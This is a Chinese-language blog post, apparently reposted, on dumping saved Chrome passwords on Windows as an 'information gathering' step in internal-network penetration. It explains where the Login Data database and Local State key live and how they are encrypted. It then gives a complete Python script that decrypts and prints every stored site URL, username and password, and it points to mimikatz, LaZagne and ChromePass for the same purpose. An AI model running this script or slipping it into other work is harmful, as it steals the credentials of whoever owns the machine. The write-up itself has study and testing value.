首页 > 其他 > 详细

信息收集--Chrome密码导出

时间:2021-04-24 20:23:03      阅读:16      评论:0      收藏:0      [点我收藏+]

前言

最近在看跟内网有关的东西,前两天看到一篇文章在信息收集部分提到了导出Chrome所存储的密码,于是进行了复现,但是最新的文章已经是两三年前的了,Chrome本地密码存储文件的加密方式在后来也进行了修改,复现过程中也遇到了一些问题,仅此记录。

简介:
文本大概内容如下:
如何导出Chrome本地存储的密码
一些有用的相关工具
踩坑记录

内容:
Chrome密码的保存方式:
Chrome有一种为了方便用户登录而设置的密码存储机制。

技术分享图片

 

在用户登陆成功后可选择保存密码,这样下次登录该网站时密码可自动补全。
该密码可在chrome中输入地址chrome://settings/passwords经过校验后查看:

技术分享图片

 

技术分享图片

 

 

 

经过校验后即可查看。

这些用户信息会存储在以SQLite数据库文件的方式存储在本地文件中。
文件路径为:
C:\Users\用户名(需要自己替换)\AppData\Local\Google\Chrome\User Data\Default\Login Data中
或%LocalAppData%\Google\Chrome\User Data\Default\Login Data
注:
%LocalAppData%为Windows的系统环境变量
%LocalAppData%==C:\Users\用户名(需要自己替换)\AppData\Local\

技术分享图片

 

该文件为Sqlite数据库文件,我们可以用一些数据库管理软件打开。
这里用Navicat打开:

技术分享图片

 

 

 


测试下连接。
可能会出现以下情况,这里我们关掉其他用到Sqlite数据库的进程即可。
注这里也需要关掉Chrome,以为它此时对Sqlite数据库是读状态。

 技术分享图片

 

 

 关掉Chrome和其他数据库管理软件后:

 技术分享图片

 

 

 确定后添加该连接 打开该文件就可以看到数据库中的信息:

技术分享图片

 

 

 

这里的password_value是16进制的,也是经过二次加密的,所以没办法直接读取。

0x03 导出密码方法

最早可使用小技巧,通过修改前段标签属性password为text直接看到Chrome中存储的密码,但该bug早已被chrome修复:

技术分享图片

 

 

 

修改后密码处会自动变空白:

技术分享图片

 

在看过网上文章后,了解到本地存储密码的数据库文件加密方式为CryptProtectData(),编写python脚本读取密码字段值后调用解密函数即可解密,但该加密方法已经被Chrome修改。
参考加密代码:
https://github.com/scheib/chromium/blob/eb7e2441dd8878f733e43799ea77c2bab66816d3/chrome/browser/password_manager/password_store_win_unittest.cc#L107
CryptProtectData()的说明可参考:
https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx.aspx "https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx")

参考了与Cookie解密相关的文章了解到,现在的加密方法根据Chrome的版本有两种:
没有以“ v10”或“ v11”为前缀的加密值
以“ v10”或“ v11”为前缀的加密值
具体解密分析可参考文章:
http://www.meilongkui.com/archives/1904
结合前辈对Cookie解密使用的脚本进行了修改,编写了用于对密码解密的脚本:

# -*- coding=utf-8 -*-
import os
import json
import base64
import sqlite3
import win32crypt
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

def GetString(LocalState):
    with open(LocalState,‘r‘,encoding=‘utf-8‘) as f:
        s=json.load(f)[‘os_crypt‘][‘encrypted_key‘]
    return s

def pull_the_key(base64_encrypted_key):
    encrypted_key_with_header=base64.b64decode(base64_encrypted_key)
    encrypted_key=encrypted_key_with_header[5:]
    key=win32crypt.CryptUnprotectData(encrypted_key,None,None,None,0)[1]
    return key

def DecryptString(key,data):
    nonce,cipherbytes=data[3:15],data[15:]
    aesgcm=AESGCM(key)
    plainbytes=aesgcm.decrypt(nonce,cipherbytes,None)
    plaintext=plainbytes.decode(‘utf-8‘)
    return plaintext

if __name__ == ‘__main__‘:

    LocalState= os.getenv("APPDATA") + r"\..\Local\Google\Chrome\User Data\Local State"
    Data = os.getenv("APPDATA") + r"\..\Local\Google\Chrome\User Data\Default\Login Data"
    con=sqlite3.connect(Data)
    con.text_factory = bytes
    res=con.execute(‘SELECT action_url, username_value, password_value FROM logins‘).fetchall()
    con.close()
    key=pull_the_key(GetString(LocalState))
    for i in res:
        if not i[0]:
            pass
        else:
            print("action_url:" +" "+str(i[0])[1:]+"  "+"username:" +" "+i[1].decode(‘utf-8‘)+"   "+"password:" +" "+DecryptString(key, i[2]) + "  ")

 

运行效果方法:
python ChromeCookiesDecrypt.py

 技术分享图片

 

 

(涉及到一些隐私进行了打码,还请见谅。)
工具github地址:
https://github.com/mc8023/Tools/blob/main/ChromePwdDecrypt.py

其他有很多其他浏览器也用了Chrome的内核,读取密码方法类似,可供参考。

一些其他的Chrome密码导出方法:
工具ChromePass:https://www.t00ls.net/articles-52330.html
工具mimikatz:http://redteam.today/2019/12/09/%E4%BD%BF%E7%94%A8mimikatz%E5%AF%BC%E5%87%BAchrome%E5%AF%86%E7%A0%81/
工具lazagne:https://cloud.tencent.com/developer/article/1521627

参考文章:
http://www.meilongkui.com/archives/1904
https://blog.csdn.net/catshitone/article/details/70238163
https://xz.aliyun.com/t/2000

 

信息收集--Chrome密码导出

原文:https://www.cnblogs.com/mc8023/p/14697752.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!